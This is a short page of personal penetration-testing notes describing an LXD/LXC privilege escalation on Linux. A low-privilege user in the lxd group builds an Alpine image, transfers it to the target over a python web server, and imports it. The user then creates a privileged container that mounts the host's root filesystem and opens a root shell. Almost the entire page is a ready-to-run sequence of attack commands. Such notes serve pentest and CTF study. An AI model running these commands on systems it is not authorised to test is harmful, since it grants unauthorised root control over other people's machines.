> For the complete documentation index, see [llms.txt](https://davidtancredi.gitbook.io/pentesting-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://davidtancredi.gitbook.io/pentesting-notes/r3dcl1ff/privesc/kernel-exploits/lxd-alpine.md).

# LXD - Alpine

Assuming you are already inside, for example as a low priv ssh user

id

.....(lxd)

Try the following:

**\[1] lxd init**

**\[2]Build the exploit from kali**

clone into:

`sudo git clone https://github.com/saghul/lxd-alpine-builder.git cd lxd-alpine-builder sudo ./build-alpine`

**After building you are left with a tar file**

Transfer the .tar file to /tmp/target using a python server and either curl/wget

**\[3]Once the tar file is on /tmp directory on target**

lxd init

press enter a bunch of times until you get to the bottom no need to change any configs just accept default

lxc image import alpine.tar.gz --alias alpine

lxc init alpine privesc -c security.privileged=true

lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true

lxc start privesc

lxc exec privesc /bin/sh

**#root**